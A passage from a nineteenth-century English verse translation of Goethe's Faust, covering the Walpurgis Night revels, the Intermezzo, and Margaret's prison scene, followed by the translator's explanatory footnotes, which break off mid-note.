_Faust_. Wilt thou, as things are now in this condition,\ Present thyself for devil, or magician?\ \ _Mephistopheles_. I've been much used, indeed, to going incognito;\ \ But then, on gala-day, one will his order show.\ No garter makes my rank appear,\ But then the cloven foot stands high in honor here.\ Seest thou the snail? Look there! where she comes creeping yonder!\ Had she already smelt the rat,\ I should not very greatly wonder.\ Disguise is useless now, depend on that.\ Come, then! we will from fire to fire wander,\ Thou shalt the wooer be and I the pander.\ [_To a party who sit round expiring embers_.]\ Old gentlemen, you scarce can hear the fiddle!\ You'd gain more praise from me, ensconced there in the middle,\ 'Mongst that young rousing, tousing set.\ One can, at home, enough retirement get.\ \ _General_. Trust not the people's fickle favor!\ However much thou mayst for them have done.\ Nations, as well as women, ever,\ Worship the rising, not the setting sun.\ \ _Minister_. From the right path we've drifted far away,\ The good old past my heart engages;\ Those were the real golden ages,\ When such as we held all the sway.\ \ _Parvenu_. We were no simpletons, I trow,\ And often did the thing we should not;\ But all is turning topsy-turvy now,\ And if we tried to stem the wave, we could not.\ \ _Author_. Who on the whole will read a work today,\ Of moderate sense, with any pleasure?\ And as regards the dear young people, they\ Pert and precocious are beyond all measure.\ \ _Mephistopheles_ [_who all at once appears very old_].\ The race is ripened for the judgment day:\ So I, for the last time, climb the witch-mountain, thinking,\ And, as my cask runs thick, I say,\ The world, too, on its lees is sinking.\ \ _Witch-broker_. Good gentlemen, don't hurry by!\ The opportunity's a rare one!\ My stock is an uncommon fair one,\ Please give it an attentive eye.\ There's nothing in my shop, whatever,\ But on the earth its mate is found;\ That has not proved itself right clever\ To deal mankind some fatal wound.\ No dagger here, but blood has some time stained it;\ No cup, that has not held some hot and poisonous juice,\ And stung to death the throat that drained it;\ No trinket, but did once a maid seduce;\ No sword, but hath some tie of sacred honor riven,\ Or haply from behind through foeman's neck been driven.\ \ _Mephistopheles_. You're quite behind the times, I tell you, Aunty!\ By-gones be by-gones! done is done!\ Get us up something new and jaunty!\ For new things now the people run.\ \ _Faust_. To keep my wits I must endeavor!\ Call this a fair! I swear, I never--!\ \ _Mephistopheles_. Upward the billowy mass is moving;\ You're shoved along and think, meanwhile, you're shoving.\ \ _Faust_. What woman's that?\ \ _Mephistopheles_. Mark her attentively.\ That's Lilith.[37]\ \ _Faust_. Who?\ \ _Mephistopbeles_. Adam's first wife is she.\ Beware of her one charm, those lovely tresses,\ In which she shines preeminently fair.\ When those soft meshes once a young man snare,\ How hard 'twill be to escape he little guesses.\ \ _Faust_. There sit an old one and a young together;\ They've skipped it well along the heather!\ \ _Mephistopheles_. No rest from that till night is through.\ Another dance is up; come on! let us fall to.\ \ _Faust_ [_dancing with the young one_]. A lovely dream once came to me;\ In it I saw an apple-tree;\ Two beauteous apples beckoned there,\ I climbed to pluck the fruit so fair.\ \ _The Fair one_. Apples you greatly seem to prize,\ And did so even in Paradise.\ I feel myself delighted much\ That in my garden I have such.\ \ _Mephistopheles_ [_with the old hag_]. A dismal dream once came to me;\ In it I saw a cloven tree,\ It had a ------ but still,\ I looked on it with right good-will.\ \ _The Hog_. With best respect I here salute\ The noble knight of the cloven foot!\ Let him hold a ------ near,\ If a ------ he does not fear.\ \ _Proctophantasmist_.[38] What's this ye undertake? Confounded crew!\ Have we not giv'n you demonstration?\ No spirit stands on legs in all creation,\ And here you dance just as we mortals do!\ \ _The Fair one_ [_dancing_]. What does that fellow at our ball?\ \ _Faust_ [_dancing_]. Eh! he must have a hand in all.\ What others dance that he appraises.\ Unless each step he criticizes,\ The step as good as no step he will call.\ But when we move ahead, that plagues him more than all.\ If in a circle you would still keep turning,\ As he himself in his old mill goes round,\ He would be sure to call that sound!\ And most so, if you went by his superior learning.\ \ _Proctophantasmist_. What, and you still are here! Unheard off obstinates!\ Begone! We've cleared it up! You shallow pates!\ The devilish pack from rules deliverance boasts.\ We've grown so wise, and Tegel[39] still sees ghosts.\ How long I've toiled to sweep these cobwebs from the brain,\ And yet--unheard of folly! all in vain.\ \ _The Fair one_. And yet on us the stupid bore still tries it!\ \ _Proctophantasmist_. I tell you spirits, to the face,\ I give to spirit-tyranny no place,\ My spirit cannot exercise it.\ [_They dance on_.]\ I can't succeed to-day, I know it;\ Still, there's the journey, which I like to make,\ And hope, before the final step I take,\ To rid the world of devil and of poet.\ \ _Mephistopheles_. You'll see him shortly sit into a puddle,\ In that way his heart is reassured;\ When on his rump the leeches well shall fuddle,\ Of spirits and of spirit he'll be cured.\ [_To_ FAUST, _who has left the dance_.]\ Why let the lovely girl slip through thy fingers,\ Who to thy dance so sweetly sang?\ \ _Faust_. Ah, right amidst her singing, sprang\ A wee red mouse from her mouth and made me cower.\ \ _Mephistopheles_. That's nothing wrong! You're in a dainty way;\ Enough, the mouse at least wan't gray.\ Who minds such thing in happy amorous hour?\ \ _Faust_. Then saw I--\ \ _Mephistopheles_. What?\ \ _Faust_. Mephisto, seest thou not\ Yon pale, fair child afar, who stands so sad and lonely,\ And moves so slowly from the spot,\ Her feet seem locked, and she drags them only.\ I must confess, she seems to me\ To look like my own good Margery.\ \ _Mephistopheles_. Leave that alone! The sight no health can bring.\ it is a magic shape, an idol, no live thing.\ To meet it never can be good!\ Its haggard look congeals a mortal's blood,\ And almost turns him into stone;\ The story of Medusa thou hast known.\ \ _Faust_. Yes, 'tis a dead one's eyes that stare upon me,\ Eyes that no loving hand e'er closed;\ That is the angel form of her who won me,\ Tis the dear breast on which I once reposed.\ \ _Mephistopheles_. 'Tis sorcery all, thou fool, misled by passion's dreams!\ For she to every one his own love seems.\ \ _Faust_. What bliss! what woe! Methinks I never\ My sight from that sweet form can sever.\ Seeft thou, not thicker than a knife-blade's back,\ A small red ribbon, fitting sweetly\ The lovely neck it clasps so neatly?\ \ _Mephistopheles_. I see the streak around her neck.\ Her head beneath her arm, you'll next behold her;\ Perseus has lopped it from her shoulder,--\ But let thy crazy passion rest!\ Come, climb with me yon hillock's breast,\ Was e'er the Prater[40] merrier then?\ And if no sorcerer's charm is o'er me,\ That is a theatre before me.\ What's doing there?\ \ _Servibilis_. They'll straight begin again.\ A bran-new piece, the very last of seven;\ To have so much, the fashion here thinks fit.\ By Dilettantes it is given;\ 'Twas by a Dilettante writ.\ Excuse me, sirs, I go to greet you;\ I am the curtain-raising Dilettant.\ \ _Mephistopheles_. When I upon the Blocksberg meet you,\ That I approve; for there's your place, I grant.\ \ \ \ \ WALPURGIS-NIGHT'S DREAM, OR OBERON AND TITANIA'S GOLDEN NUPTIALS.\ \ _Intermezzo_.\ \ \ _Theatre manager_. Here, for once, we rest, to-day,\ Heirs of Mieding's[41] glory.\ All the scenery we display--\ Damp vale and mountain hoary!\ \ _Herald_. To make the wedding a golden one,\ Must fifty years expire;\ But when once the strife is done,\ I prize the _gold_ the higher.\ \ _Oberon_. Spirits, if my good ye mean,\ Now let all wrongs be righted;\ For to-day your king and queen\ Are once again united.\ \ _Puck_. Once let Puck coming whirling round,\ And set his foot to whisking,\ Hundreds with him throng the ground,\ Frolicking and frisking.\ \ _Ariel_. Ariel awakes the song\ With many a heavenly measure;\ Fools not few he draws along,\ But fair ones hear with pleasure.\ \ _Oberon_. Spouses who your feuds would smother,\ Take from us a moral!\ Two who wish to love each other,\ Need only first to quarrel.\ \ _Titania_. If she pouts and he looks grim,\ Take them both together,\ To the north pole carry him,\ And off with her to t'other.\ \ _Orchestra Tutti_.\ \ _Fortissimo_. Fly-snouts and gnats'-noses, these,\ And kin in all conditions,\ Grass-hid crickets, frogs in trees,\ We take for our musicians!\ \ _Solo_. See, the Bagpipe comes! fall back!\ Soap-bubble's name he owneth.\ How the _Schnecke-schnicke-schnack_\ Through his snub-nose droneth!\ _Spirit that is just shaping itself_. Spider-foot, toad's-belly, too,\ Give the child, and winglet!\ 'Tis no animalcule, true,\ But a poetic thinglet.\ \ _A pair of lovers_. Little step and lofty bound\ Through honey-dew and flowers;\ Well thou trippest o'er the ground,\ But soarst not o'er the bowers.\ \ _Curious traveller_. This must be masquerade!\ How odd!\ My very eyes believe I?\ Oberon, the beauteous God\ Here, to-night perceive I!\ \ _Orthodox_. Neither claws, nor tail I see!\ And yet, without a cavil,\ Just as \"the Gods of Greece\"[42] were, he\ Must also be a devil.\ \ _Northern artist_. What here I catch is, to be sure,\ But sketchy recreation;\ And yet for my Italian tour\ 'Tis timely preparation.\ \ _Purist_. Bad luck has brought me here, I see!\ The rioting grows louder.\ And of the whole witch company,\ There are but two, wear powder.\ \ _Young witch_. Powder becomes, like petticoat,\ Your little, gray old woman:\ Naked I sit upon my goat,\ And show the untrimmed human.\ \ _Matron_. To stand here jawing[43] with you, we\ Too much good-breeding cherish;\ But young and tender though you be,\ I hope you'll rot and perish.\ \ _Leader of the music_. Fly-snouts and gnat-noses, please,\ Swarm not so round the naked!\ Grass-hid crickets, frogs in trees,\ Keep time and don't forsake it!\ \ _Weathercock_ [_towards one side_]. Find better company, who can!\ Here, brides attended duly!\ There, bachelors, ranged man by man,\ Most hopeful people truly!\ \ _Weathercock [towards the other side_].\ And if the ground don't open straight,\ The crazy crew to swallow,\ You'll see me, at a furious rate,\ Jump down to hell's black hollow.\ \ _Xenia[_44] We are here as insects, ah!\ Small, sharp nippers wielding,\ Satan, as our _cher papa_,\ Worthy honor yielding.\ \ _Hennings_. See how naïvely, there, the throng\ Among themselves are jesting,\ You'll hear them, I've no doubt, ere long,\ Their good kind hearts protesting.\ \ _Musagetes_. Apollo in this witches' group\ Himself right gladly loses;\ For truly I could lead this troop\ Much easier than the muses.\ \ _Ci-devant genius of the age_. Right company will raise man up.\ Come, grasp my skirt, Lord bless us!\ The Blocksberg has a good broad top,\ Like Germany's Parnassus.\ \ _Curious traveller_. Tell me who is that stiff man?\ With what stiff step he travels!\ He noses out whate'er he can.\ \"He scents the Jesuit devils.\"\ \ _Crane_. In clear, and muddy water, too,\ The long-billed gentleman fishes;\ Our pious gentlemen we view\ Fingering in devils' dishes.\ \ _Child of this world_. Yes, with the pious ones, 'tis clear,\ \"All's grist that comes to their mill;\"\ They build their tabernacles here,\ On Blocksberg, as on Carmel.\ \ _Dancer_. Hark! a new choir salutes my ear!\ I hear a distant drumming.\ \"Be not disturbed! 'mong reeds you hear\ The one-toned bitterns bumming.\"\ \ _Dancing-master._ How each his legs kicks up and flings,\ Pulls foot as best he's able!\ The clumsy hops, the crooked springs,\ 'Tis quite disreputable!\ \ _Fiddler_. The scurvy pack, they hate, 'tis clear,\ Like cats and dogs, each other.\ Like Orpheus' lute, the bagpipe here\ Binds beast to beast as brother.\ \ _Dogmatist_. You'll not scream down my reason, though,\ By criticism's cavils.\ The devil's something, that I know,\ Else how could there be devils?\ \ _Idealist_. Ah, phantasy, for once thy sway\ Is guilty of high treason.\ If all I see is I, to-day,\ 'Tis plain I've lost my reason.\ \ _Realist_. To me, of all life's woes and plagues,\ Substance is most provoking,\ For the first time I feel my legs\ Beneath me almost rocking.\ \ _Supernaturalist_. I'm overjoyed at being here,\ And even among these rude ones;\ For if bad spirits are, 'tis clear,\ There also must be good ones.\ \ _Skeptic_. Where'er they spy the flame they roam,\ And think rich stores to rifle,\ Here such as I are quite at home,\ For _Zweifel_ rhymes with _Teufel_.[45]\ \ _Leader of the music_. Grass-hid cricket, frogs in trees,\ You cursed dilettanti!\ Fly-snouts and gnats'-noses, peace!\ Musicians you, right jaunty!\ \ _The Clever ones_. Sans-souci we call this band\ Of merry ones that skip it;\ Unable on our feet to stand,\ Upon our heads we trip it.\ \ _The Bunglers_. Time was, we caught our tit-bits, too,\ God help us now! that's done with!\ We've danced our leathers entirely through,\ And have only bare soles to run with.\ \ _Jack-o'lanterns_. From the dirty bog we come,\ Whence we've just arisen:\ Soon in the dance here, quite at home,\ As gay young _sparks_ we'll glisten.\ \ _Shooting star_. Trailing from the sky I shot,\ Not a star there missed me:\ Crooked up in this grassy spot,\ Who to my legs will assist me?\ \ _The solid men_. Room there! room there! clear the ground!\ Grass-blades well may fall so;\ Spirits are we, but 'tis found\ They have plump limbs also.\ \ _Puck_. Heavy men! do not, I say,\ Like elephants' calves go stumping:\ Let the plumpest one to-day\ Be Puck, the ever-jumping.\ \ _Ariel_. If the spirit gave, indeed,\ If nature gave you, pinions,\ Follow up my airy lead\ To the rose-dominions!\ \ _Orchestra_ [_pianissimo_]. Gauzy mist and fleecy cloud\ Sun and wind have banished.\ Foliage rustles, reeds pipe loud,\ All the show has vanished.\ \ \ \ \ DREARY DAY.[46]\ \ _Field_.\ \ \ FAUST. MEPHISTOPHELES.\ \ _Faust_. In wretchedness! In despair! Long hunted up and down the earth, a\ miserable fugitive, and caught at last! Locked up as a malefactor in\ prison, to converse with horrible torments--the sweet, unhappy creature!\ Even to this pass! even to this!--Treacherous, worthless spirit, and this\ thou hast hidden from me!--Stand up here--stand up! Roll thy devilish eyes\ round grimly in thy head! Stand and defy me with thy intolerable presence!\ Imprisoned! In irretrievable misery! Given over to evil spirits and to the\ judgment of unfeeling humanity, and me meanwhile thou lullest in insipid\ dissipations, concealest from me her growing anguish, and leavest her\ without help to perish!\ \ _Mephistopheles_. She is not the first!\ \ _Faust_. Dog! abominable monster! Change him, thou Infinite Spirit! change\ the worm back into his canine form, as he was often pleased in the night\ to trot before me, to roll before the feet of the harmless wanderer, and,\ when he fell, to hang on his shoulders. Change him again into his favorite\ shape, that he may crawl before me on his belly in the sand, and that I\ may tread him under foot, the reprobate!--Not the first! Misery! Misery!\ inconceivable by any human soul! that more than one creature ever sank\ into the depth of this wretchedness, that the first in its writhing\ death-agony did not atone for the guilt of all the rest before the eyes of\ the eternally Forgiving! My very marrow and life are consumed by the\ misery of this single one; thou grinnest away composedly at the fate of\ thousands!\ \ _Mephistopheles_. Here we are again at our wits' ends already, where the\ thread of sense, with you mortals, snaps short. Why make a partnership\ with us, if thou canst not carry it through? Wilt fly, and art not proof\ against dizziness? Did we thrust ourselves on thee, or thou on us?\ \ _Faust_. Gnash not so thy greedy teeth against me! It disgusts me!--Great\ and glorious spirit, thou that deignedst to appear to me, who knowest my\ heart and soul, why yoke me to this shame-fellow, who feeds on mischief\ and feasts on ruin?\ \ _Mephistopheles_. Hast thou done?\ \ _Faust_. Rescue her! O woe be unto thee! The most horrible curse on thee\ for thousands of years!\ \ _Mephistopheles_. I cannot loose the bonds of the avenger, nor open his\ bolts.--Rescue her!--Who was it that plunged her into ruin? I or thou?\ [FAUST _looks wildly round_.]\ Grasp'st thou after the thunder? Well that it was not given to you\ miserable mortals! To crush an innocent respondent, that is a sort of\ tyrant's-way of getting room to breathe in embarrassment.\ \ _Faust_. Lead me to her! She shall be free!\ \ _Mephistopheles_. And the danger which thou incurrest? Know that the guilt\ of blood at thy hand still lies upon the town. Over the place of the\ slain, avenging spirits hover and lurk for the returning murderer.\ \ _Faust_. That, too, from thee? Murder and death of a world upon thee,\ monster! Lead me thither, I say, and free her!\ \ _Mephistopheles_. I will lead thee, and hear what I can do! Have I all\ power in heaven and on earth? I will becloud the turnkey's senses; possess\ thyself of the keys, and bear her out with human hand. I will watch! The\ magic horses shall be ready, and I will bear you away. So much I can do.\ \ _Faust_. Up and away!\ \ \ \ \ NIGHT. OPEN FIELD.\ \ FAUST. MEPHISTOPHELES.\ _Scudding along on black horses_.\ \ _Faust_. What's doing, off there, round the gallows-tree?[47]\ \ _Mephistopheles_. Know not what they are doing and brewing.\ \ _Faust_. Up they go--down they go--wheel about, reel about.\ \ _Mephistopheles_. A witches'-crew.\ \ _Faust_. They're strewing and vowing.\ \ _Mephistopheles_. Pass on! Pass on!\ \ \ \ \ PRISON.\ \ FAUST [_with a bunch of keys and a lamp, before an iron door_]\ A long unwonted chill comes o'er me,\ I feel the whole great load of human woe.\ Within this clammy wall that frowns before me\ Lies one whom blinded love, not guilt, brought low!\ Thou lingerest, in hope to grow bolder!\ Thou fearest again to behold her!\ On! Thy shrinking slowly hastens the blow!\ [_He grasps the key. Singing from within_.]\ My mother, the harlot,\ That strung me up!\ My father, the varlet,\ That ate me up!\ My sister small,\ She gathered up all\ The bones that day,\ And in a cool place did lay;\ Then I woke, a sweet bird, at a magic call;\ Fly away, fly away!\ \ _Faust [unlocking_]. She little dreams, her lover is so near,\ The clanking chains, the rustling straw can hear;\ [_He enters_.]\ \ _Margaret [burying herself in the bed_]. Woe! woe!\ They come. O death of bitterness!\ \ _Faust_ [_softly_]. Hush! hush! I come to free thee; thou art dreaming.\ \ _Margaret_ [_prostrating herself before him_].\ Art thou a man, then feel for my distress.\ \ _Faust_. Thou'lt wake the guards with thy loud screaming!\ [_He seizes the chains to tin lock them._]\ \ _Margaret_ [_on her knees_]. Headsman, who's given thee this right\ O'er me, this power!\ Thou com'st for me at dead of night;\ In pity spare me, one short hour!\ Wilt't not be time when Matin bell has rung?\ [_She stands up._]\ Ah, I am yet so young, so young!\ And death pursuing!\ Fair was I too, and that was my undoing.\ My love was near, far is he now!\ Tom is the wreath, the scattered flowers lie low.\ Take not such violent hold of me!\ Spare me! what harm have I done to thee?\ Let me not in vain implore thee.\ Thou ne'er till now sawft her who lies before thee!\ \ _Faust_. O sorrow worse than death is o'er me!\ \ _Margaret_. Now I am wholly in thy power.\ But first I'd nurse my child--do not prevent me.\ I hugged it through the black night hour;\ They took it from me to torment me,\ And now they say I killed the pretty flower.\ I shall never be happy again, I know.\ They sing vile songs at me! 'Tis bad in them to do it!\ There's an old tale that ends just so,\ Who gave that meaning to it?\ \ _Faust [prostrates himself_]. A lover at thy feet is bending,\ Thy bonds of misery would be rending.\ \ _Margaret [flings herself beside him_].\ O let us kneel, the saints for aid invoking!\ See! 'neath the threshold smoking,\ Fire-breathing,\ Hell is seething!\ There prowling,\ And grim under cover,\ Satan is howling!\ \ _Faust [aloud_]. Margery! Margery!\ \ _Margaret [listening_]. That was the voice of my lover!\ [_She springs up. The chains fall off_.]\ \ Where is he? Where? He calls. I hear him.\ I'm free! Who hinders? I will be near him.\ I'll fly to his neck! I'll hold him!\ To my bosom I'll enfold him!\ He stood on the threshold--called Margery plainly!\ Hell's howling and clattering to drown it sought vainly,--\ Through the devilish, grim scoffs, that might turn one to stone,\ I caught the sweet, loving, enrapturing tone.\ \ _Faust_. 'Tis I!\ \ _Margaret_. 'Tis thou! O say it once again.\ [_Clasping again._]\ 'Tis he! 'tis he! Where now is all my pain?\ And where the dungeon's anguish? Joy-giver!\ 'Tis thou! And come to deliver!\ I am delivered!\ Again before me lies the street,\ Where for the first time thou and I did meet.\ And the garden-bower,\ Where we spent that evening hour.\ \ _Faust_ [_trying to draw her away_]. Come! Come with me!\ \ _Margaret_. O tarry!\ I tarry so gladly where thou tarriest.\ [_Caressing him._]\ \ _Faust_. Hurry!\ Unless thou hurriest,\ Bitterly we both must rue it.\ \ _Margaret_. Kiss me! Canst no more do it?\ So short an absence, love, as this,\ And forgot how to kiss?\ What saddens me so as I hang about thy neck?\ When once, in thy words, thy looks, such a heaven of blisses\ Came o'er me, I thought my heart would break,\ And it seemed as if thou wouldst smother me with kisses.\ Kiss thou me!\ Else I kiss thee!\ [_She embraces him._]\ Woe! woe! thy lips are cold,\ Stone-dumb.\ Where's thy love left?\ Oh! I'm bereft!\ Who robbed me?\ [_She turns from him_]\ \ _Faust_. O come!\ Take courage, my darling! Let us go;\ I clasp-thee with unutterable glow;\ But follow me! For this alone I plead!\ \ _Margaret [turning to him_]. Is it, then, thou?\ And is it thou indeed?\ \ _Faust_. 'Tis I! Come, follow me!\ \ _Margaret_. Thou break'st my chain,\ And tak'st me to thy breast again!\ How comes it, then, that thou art not afraid of me?\ And dost thou know, my friend, who 'tis thou settest free?\ \ _Faust_. Come! come! The night is on the wane.\ \ _Margaret_. Woe! woe! My mother I've slain!\ Have drowned the babe of mine!\ Was it not sent to be mine and thine?\ Thine, too--'tis thou! Scarce true doth it seem.\ Give me thy hand! 'Tis not a dream!\ Thy blessed hand!--But ah! there's dampness here!\ Go, wipe it off! I fear\ There's blood thereon.\ Ah God! what hast thou done!\ Put up thy sword again;\ I pray thee, do!\ \ _Faust_. The past is past--there leave it then,\ Thou kill'st me too!\ \ _Margaret_. No, thou must longer tarry!\ I'll tell thee how each thou shalt bury;\ The places of sorrow\ Make ready to-morrow;\ Must give the best place to my mother,\ The very next to my brother,\ Me a little aside,\ But make not the space too wide!\ And on my right breast let the little one lie.\ No one else will be sleeping by me.\ Once, to feel _thy_ heart beat nigh me,\ Oh, 'twas a precious, a tender joy!\ But I shall have it no more--no, never;\ I seem to be forcing myself on thee ever,\ And thou repelling me freezingly;\ And 'tis thou, the same good soul, I see.\ \ _Faust_. If thou feelest 'tis I, then come with me\ \ _Margaret_. Out yonder?\ \ _Faust_. Into the open air.\ \ _Margaret_. If the grave is there,\ If death is lurking; then come!\ From here to the endless resting-place,\ And not another pace--Thou\ go'st e'en now? O, Henry, might I too.\ \ _Faust_. Thou canst! 'Tis but to will! The door stands open.\ \ _Margaret_. I dare not go; for me there's no more hoping.\ What use to fly? They lie in wait for me.\ So wretched the lot to go round begging,\ With an evil conscience thy spirit plaguing!\ So wretched the lot, an exile roaming--And\ then on my heels they are ever coming!\ \ _Faust_. I shall be with thee.\ \ _Margaret_. Make haste! make haste!\ No time to waste!\ Save thy poor child!\ Quick! follow the edge\ Of the rushing rill,\ Over the bridge\ And by the mill,\ Then into the woods beyond\ On the left where lies the plank\ Over the pond.\ Seize hold of it quick!\ To rise 'tis trying,\ It struggles still!\ Rescue! rescue!\ \ _Faust_. Bethink thyself, pray!\ A single step and thou art free!\ \ _Margaret_. Would we were by the mountain. See!\ There sits my mother on a stone,\ The sight on my brain is preying!\ There sits my mother on a stone,\ And her head is constantly swaying;\ She beckons not, nods not, her head falls o'er,\ So long she's been sleeping, she'll wake no more.\ She slept that we might take pleasure.\ O that was bliss without measure!\ \ _Faust_. Since neither reason nor prayer thou hearest;\ I must venture by force to take thee, dearest.\ \ _Margaret_. Let go! No violence will I bear!\ Take not such a murderous hold of me!\ I once did all I could to gratify thee.\ \ _Faust_. The day is breaking! Dearest! dearest!\ \ _Margaret_. Day! Ay, it is day! the last great day breaks in!\ My wedding-day it should have been!\ Tell no one thou hast been with Margery!\ Alas for my garland! The hour's advancing!\ Retreat is in vain!\ We meet again,\ But not at the dancing.\ The multitude presses, no word is spoke.\ Square, streets, all places--\ sea of faces--\ The bell is tolling, the staff is broke.\ How they seize me and bind me!\ They hurry me off to the bloody block.[48]\ The blade that quivers behind me,\ Quivers at every neck with convulsive shock;\ Dumb lies the world as the grave!\ \ _Faust_. O had I ne'er been born!\ \ _Mephistopheles [appears without_]. Up! or thou'rt lost! The morn\ Flushes the sky.\ Idle delaying! Praying and playing!\ My horses are neighing,\ They shudder and snort for the bound.\ \ _Margaret_. What's that, comes up from the ground?\ He! He! Avaunt! that face!\ What will he in the sacred place?\ He seeks me!\ \ _Faust_. Thou shalt live!\ \ _Margaret_. Great God in heaven!\ Unto thy judgment my soul have I given!\ \ _Mephistopheles [to Faust_].\ Come! come! or in the lurch I leave both her and thee!\ \ _Margaret_. Thine am I, Father! Rescue me!\ Ye angels, holy bands, attend me!\ And camp around me to defend me I\ Henry! I dread to look on thee.\ \ _Mephistopheles_. She's judged!\ \ _Voice [from above_]. She's saved!\ \ _Mephistopheles [to Faust_]. Come thou to me!\ [_Vanishes with_ FAUST.]\ \ _Voice [from within, dying away_]. Henry! Henry!\ \ \ \ \ NOTES.\ \ \ [Footnote 1: Dedication. The idea of Faust had early entered into Goethe's\ mind. He probably began the work when he was about twenty years old. It\ was first published, as a fragment, in 1790, and did not appear in its\ present form till 1808, when its author's age was nearly sixty. By the\ \"forms\" are meant, of course, the shadowy personages and scenes of the\ drama.]\ \ [Footnote 2: --\"Thy messengers\"--\ \"He maketh the winds his-messengers,\ The flaming lightnings his ministers.\"\ _Noyes's Psalms_, c. iv. 4.]\ \ [Footnote 3: \"The Word Divine.\" In translating the German \"Werdende\"\ (literally, the _becoming, developing_, or _growing_) by the term _word_,\ I mean the _word_ in the largest sense: \"In the beginning was the Word,\ &c.\" Perhaps \"nature\" would be a pretty good rendering, but \"word,\" being\ derived from \"werden,\" and expressing philosophically and scripturally the\ going forth or manifestation of mind, seemed to me as appropriate a\ translation as any.]\ \ [Footnote 4: \"The old fellow.\" The commentators do not seem quite agreed\ whether \"den Alten\" (the old one) is an entirely reverential phrase here,\ like the \"ancient of days,\" or savors a little of profane pleasantry, like\ the title \"old man\" given by boys to their schoolmaster or of \"the old\ gentleman\" to their fathers. Considering who the speaker is, I have\ naturally inclined to the latter alternative.]\ \ [Footnote 5: \"Nostradamus\" (properly named Michel Notre Dame) lived\ through the first half of the sixteenth century. He was born in the south\ of France and was of Jewish extraction. As physician and astrologer, he\ was held in high honor by the French nobility and kings.]\ \ [Footnote 6: The \"Macrocosm\" is the great world of outward things, in\ contrast with its epitome, the little world in man, called the microcosm\ (or world in miniature).]\ \ [Footnote 7: \"Famulus\" seems to mean a cross between a servant and a\ scholar. The Dominie Sampson called Wagner, is appended to Faust for the\ time somewhat as Sancho is to Don Quixote. The Doctor Faust of the legend\ has a servant by that name, who seems to have been more of a _Sancho_, in\ the sense given to the word by the old New England mothers when upbraiding\ bad boys (you Sanch'!). Curiously enough, Goethe had in early life a\ (treacherous) friend named Wagner, who plagiarized part of Faust and made\ a tragedy of it.]\ \ [Footnote 8: \"Mock-heroic play.\" We have Schlegel's authority for thus\ rendering the phrase \"Haupt- und Staats-Action,\" (literally, \"head and\ State-action,\") who says that this title was given to dramas designed for\ puppets, when they treated of heroic and historical subjects.]\ \ [Footnote 9: The literal sense of this couplet in the original is:--\ \"Is he, in the bliss of becoming,\ To creative joy near--\"\ \"Werde-lust\" presents the same difficulty that we found in note 3. This\ same word, \"Werden,\" is also used by the poet in the introductory theatre\ scene (page 7), where he longs for the time when he himself was\ _ripening_, growing, becoming, or _forming_, (as Hayward renders it.) I\ agree with Hayward, \"the meaning probably is, that our Saviour enjoys, in\ coming to life again,\" (I should say, in being born into the upper life,)\ \"a happiness nearly equal to that of the Creator in creating.\"]\ \ [Footnote 10: The Angel-chorusses in this scene present the only instances\ in which the translator, for the sake of retaining the ring and swing of\ the melody, has felt himself obliged to give a transfusion of the spirit\ of the thought, instead of its exact form.\ \ The literal meaning of the first chorus is:--\ \ Christ is arisen!\ Joy to the Mortal,\ Whom the ruinous,\ Creeping, hereditary\ Infirmities wound round.\ \ Dr. Hedge has come nearer than any one to reconciling meaning and melody\ thus:--\ \ \"Christ has arisen!\ Joy to our buried Head!\ Whom the unmerited,\ Trailing, inherited\ Woes did imprison.\"\ \ The present translator, without losing sight of the fact that \"the Mortal\"\ means Christ, has taken the liberty (constrained by rhyme,--which is\ sometimes more than the _rudder_ of verse,) of making the congratulation\ include Humanity, as incarnated in Christ, \"the second Adam.\"\ \ In the closing Chorus of Angels, the translator found that he could best\ preserve the spirit of the five-fold rhyme:--\ \ \"Thätig ihn preisenden,\ Liebe beweisenden,\ Brüderlich speisenden,\ Predigend reisenden,\ Wonne verheissenden,\"\ \ by running it into three couplets.]\ \ [Footnote 11: The prose account of the alchymical process is as follows:--\ \ \"There was red mercury, a powerfully acting body, united with the tincture\ of antimony, at a gentle heat of the water-bath. Then, being exposed to\ the heat of open fire in an aludel, (or alembic,) a sublimate filled its\ heads in succession, which, if it appeared with various hues, was the\ desired medicine.\"]\ \ [Footnote 12: \"Salamander, &c.\" The four represent the spirits of the\ four elements, fire, water, air, and earth, which Faust successively\ conjures, so that, if the monster belongs in any respect to this mundane\ sphere, he may be exorcized. But it turns out that he is beyond and\ beneath all.]\ \ [Footnote 13: Here, of course, Faust makes the sign of the cross, or holds\ out a crucifix.]\ \ [Footnote 14: \"Fly-God,\" _i.e._ Beelzebub.]\ \ [Footnote 15: The \"Drudenfuss,\" or pentagram, was a pentagonal figure\ composed of three triangles, thus:\ [Illustration]\ \ [Footnote 16: Doctor's Feast. The inaugural feast given at taking a\ degree.]\ \ [Footnote 17: \"Blood.\" When at the first invention of printing, the art\ was ascribed to the devil, the illuminated red ink parts were said by the\ people to be done in blood.]\ \ [Footnote 18: \"The Spanish boot\" was an instrument of torture, like the\ Scottish boot mentioned in Old Mortality.]\ \ [Footnote 19: \"Encheiresin Naturæ.\" Literally, a handling of nature.]\ \ [Footnote 20: Still a famous place of public resort and entertainment. On\ the wall are two old paintings of Faust's carousal and his ride out of the\ door on a cask. One is accompanied by the following inscription, being two\ lines (Hexameter and Pentameter) broken into halves:--\ \ \"Vive, bibe, obgregare, memor\ Fausti hujus et hujus\ Pœnæ. Aderat clauda haec,\ Ast erat ampla gradû. 1525.\"\ \ \"Live, drink, be merry, remembering\ This Faust and his\ Punishment. It came slowly\ But was in ample measure.\"]\ \ [Footnote 21:_Frosch, Brander_, &c. These names seem to be chosen with an\ eye to adaptation, Frosch meaning frog, and Brander fireship. \"Frog\"\ happens also to be the nickname the students give to a pupil of the\ gymnasium, or school preparatory to the university.]\ \ [Footnote 22: Rippach is a village near Leipsic, and Mr. Hans was a\ fictitious personage about whom the students used to quiz greenhorns.]\ \ [Footnote 23: The original means literally _sea-cat_. Retzsch says, it is\ the little ring-tailed monkey.]\ \ [Footnote 24: One-time-one, _i.e._ multiplication-table.]\ \ [Footnote 25: \"Hand and glove.\" The translator's coincidence with Miss\ Swanwick here was entirely accidental. The German is \"thou and thou,\"\ alluding to the fact that intimate friends among the Germans, like the\ sect of Friends, call each other _thou_.]\ \ [Footnote 26: The following is a literal translation of the song referred\ to:--\ \ Were I a little bird,\ Had I two wings of mine,\ I'd fly to my dear;\ But that can never be,\ So I stay here.\ \ Though I am far from thee,\ Sleeping I'm near to thee,\ Talk with my dear;\ When I awake again,\ I am alone.\ \ Scarce is there an hour in the night,\ When sleep does not take its flight,\ And I think of thee,\ How many thousand times\ Thou gav'st thy heart to me.]\ \ [Footnote 27: Donjon. The original is _Zwinger_, which 